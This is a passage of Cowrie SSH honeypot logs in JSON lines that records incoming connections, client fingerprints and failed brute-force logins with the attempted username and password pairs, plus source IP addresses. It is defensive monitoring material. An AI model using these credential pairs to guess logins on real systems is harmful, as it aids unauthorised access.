256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:10.773177Z","src_ip":"159.203.92.129","session":"9756754c2d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfred","password":"123456","message":"login attempt [alfred/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:10.784029Z","src_ip":"159.203.92.129","session":"9756754c2d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:11.789935Z","src_ip":"159.203.92.129","session":"9756754c2d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":31820,"dst_ip":"159.203.135.109","dst_port":22,"session":"e31582fc6a79","protocol":"ssh","message":"New connection: 152.32.213.101:31820 (159.203.135.109:22) [session: e31582fc6a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:14.791736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:14.796374Z","src_ip":"152.32.213.101","session":"e31582fc6a79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:15.012653Z","src_ip":"152.32.213.101","session":"e31582fc6a79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serveru","message":"login attempt [root/serveru] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:15.906610Z","src_ip":"152.32.213.101","session":"e31582fc6a79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:17.128198Z","src_ip":"152.32.213.101","session":"e31582fc6a79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":59742,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c81ee50ff8c","protocol":"ssh","message":"New connection: 112.217.199.222:59742 (10.17.0.5:22) [session: 2c81ee50ff8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:35.043376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:35.048017Z","src_ip":"112.217.199.222","session":"2c81ee50ff8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:35.258959Z","src_ip":"112.217.199.222","session":"2c81ee50ff8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123asd","message":"login attempt [user/qwe123asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:36.132794Z","src_ip":"112.217.199.222","session":"2c81ee50ff8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:37.346689Z","src_ip":"112.217.199.222","session":"2c81ee50ff8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47852,"dst_ip":"159.203.135.109","dst_port":22,"session":"da51db458877","protocol":"ssh","message":"New connection: 159.203.92.129:47852 (159.203.135.109:22) [session: da51db458877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:55.906806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:55.911364Z","src_ip":"159.203.92.129","session":"da51db458877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:55.915554Z","src_ip":"159.203.92.129","session":"da51db458877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfred","password":"alfred","message":"login attempt [alfred/alfred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:55.927015Z","src_ip":"159.203.92.129","session":"da51db458877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:52:56.933576Z","src_ip":"159.203.92.129","session":"da51db458877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":53986,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf3fc7ae19be","protocol":"ssh","message":"New connection: 171.244.143.209:53986 (10.17.0.5:22) [session: bf3fc7ae19be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:06.158674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:06.163918Z","src_ip":"171.244.143.209","session":"bf3fc7ae19be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:06.409560Z","src_ip":"171.244.143.209","session":"bf3fc7ae19be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manish","message":"login attempt [root/manish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:07.431087Z","src_ip":"171.244.143.209","session":"bf3fc7ae19be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:08.679361Z","src_ip":"171.244.143.209","session":"bf3fc7ae19be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":49658,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6d03826b1dc","protocol":"ssh","message":"New connection: 152.32.213.101:49658 (159.203.135.109:22) [session: f6d03826b1dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:12.860482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:12.864450Z","src_ip":"152.32.213.101","session":"f6d03826b1dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:13.077466Z","src_ip":"152.32.213.101","session":"f6d03826b1dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234*","message":"login attempt [root/Abcd1234*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:13.969326Z","src_ip":"152.32.213.101","session":"f6d03826b1dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:15.194470Z","src_ip":"152.32.213.101","session":"f6d03826b1dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":53310,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f33de85d3b9","protocol":"ssh","message":"New connection: 119.195.89.96:53310 (159.203.135.109:22) [session: 4f33de85d3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:25.172055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:25.176598Z","src_ip":"119.195.89.96","session":"4f33de85d3b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:25.384564Z","src_ip":"119.195.89.96","session":"4f33de85d3b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12","message":"login attempt [test/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:26.204723Z","src_ip":"119.195.89.96","session":"4f33de85d3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:27.403281Z","src_ip":"119.195.89.96","session":"4f33de85d3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":49102,"dst_ip":"10.17.0.5","dst_port":22,"session":"a23dc5cd16ec","protocol":"ssh","message":"New connection: 112.217.199.222:49102 (10.17.0.5:22) [session: a23dc5cd16ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:35.794106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:35.798897Z","src_ip":"112.217.199.222","session":"a23dc5cd16ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:36.001576Z","src_ip":"112.217.199.222","session":"a23dc5cd16ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dennis","password":"dennis","message":"login attempt [dennis/dennis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:36.844355Z","src_ip":"112.217.199.222","session":"a23dc5cd16ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:38.048735Z","src_ip":"112.217.199.222","session":"a23dc5cd16ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37946,"dst_ip":"159.203.135.109","dst_port":22,"session":"dda3e35f28d4","protocol":"ssh","message":"New connection: 159.203.92.129:37946 (159.203.135.109:22) [session: dda3e35f28d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:41.190890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:53:41.200507Z","src_ip":"159.203.92.129","session":"dda3e35f28d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-